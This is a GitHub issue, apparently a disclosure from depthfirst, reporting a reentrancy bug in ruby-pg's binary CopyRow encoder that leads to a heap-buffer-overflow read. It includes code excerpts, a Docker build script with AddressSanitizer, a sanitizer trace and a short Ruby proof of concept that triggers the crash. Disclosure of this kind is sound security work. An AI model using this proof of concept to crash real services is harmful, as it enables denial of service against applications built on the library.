Skip to content

DFVULN-791: Reentrant Binary CopyRow Encoding Causes Heap Buffer Overflow #711

@larskanis

Description

@larskanis

Summary

PG::BinaryEncoder::CopyRow keeps the active element coder in a shared static local. A Ruby conversion callback can re-enter CopyRow#encode, overwrite that shared pointer, and make the outer encoder resume with the wrong coder type. The reproduced crash is a heap-buffer-overflow in PG::BinaryEncoder::FromBase64.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

pg_bin_enc_copy_row stores the current element coder in a static local, so nested calls share one pointer instead of keeping per-call state.

static t_pg_coder *p_elem_coder;
...
p_elem_coder = p_typemap->funcs.typecast_query_param(p_typemap, entry, i);
enc_func = pg_coder_enc_func(p_elem_coder);
strlen = enc_func(p_elem_coder, entry, NULL, &subint, enc_idx);

ext/pg_copy_coder.c:390

The inline PoC makes the first pass call Ruby to_i, which re-enters PG::BinaryEncoder::CopyRow#encode. That nested encode overwrites p_elem_coder. The outer call then resumes its second pass with the wrong pointer.

strlen = enc_func(p_elem_coder, entry, current_out, &subint, enc_idx);
current_out += strlen;

ext/pg_copy_coder.c:427

The stale pointer reaches PG::BinaryEncoder::FromBase64, which reads this->elem from an object that is not a t_pg_composite_coder.

t_pg_composite_coder *this = (t_pg_composite_coder *)conv;
t_pg_coder_enc_func enc_func = pg_coder_enc_func(this->elem);

ext/pg_binary_encoder.c:521

Reproduce

Create poc.rb from the inline artifact below, then run this on a machine with Docker:

mkdir -p dfvuln-791 && cp poc.rb dfvuln-791/ && cd dfvuln-791
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext
ruby extconf.rb
make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src
cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The reproduced sanitizer stack is included inline below:

==577==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8
    #0 0xffff87f5b490 in pg_bin_enc_from_base64 /tmp/src/ext/pg_binary_encoder.c:522
    #1 0xffff87f73468 in pg_bin_enc_copy_row /tmp/src/ext/pg_copy_coder.c:427
    #2 0xffff87f5d4b0 in pg_coder_encode /tmp/src/ext/pg_coder.c:202
0xffff88ab55b8 is located 0 bytes to the right of 40-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_binary_encoder.c:522 in pg_bin_enc_from_base64

Inline reproduction artifact(s):

poc.rb

$stdout.sync = true
$stderr.sync = true

require "pg"

class Trigger
  def to_i
    warn "re-entering nested BinaryEncoder::CopyRow#encode from to_i"
    tm = PG::TypeMapByClass.new
    tm[Integer] = PG::BinaryEncoder::Int4.new
    PG::BinaryEncoder::CopyRow.new(type_map: tm).encode([1])
    1234
  end
end

outer_tm = PG::TypeMapByClass.new
outer_tm[Trigger] = PG::BinaryEncoder::FromBase64.new(
  elements_type: PG::TextEncoder::Integer.new
)

warn "starting outer BinaryEncoder::CopyRow#encode"
PG::BinaryEncoder::CopyRow.new(type_map: outer_tm).encode([Trigger.new])

Security Impact

This is a native heap out-of-bounds read from Ruby-level encoder reentrancy. It can crash a Ruby process that encodes attacker-influenced COPY rows through a custom type map.

Credit

Zheng Yu from depthfirst (depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions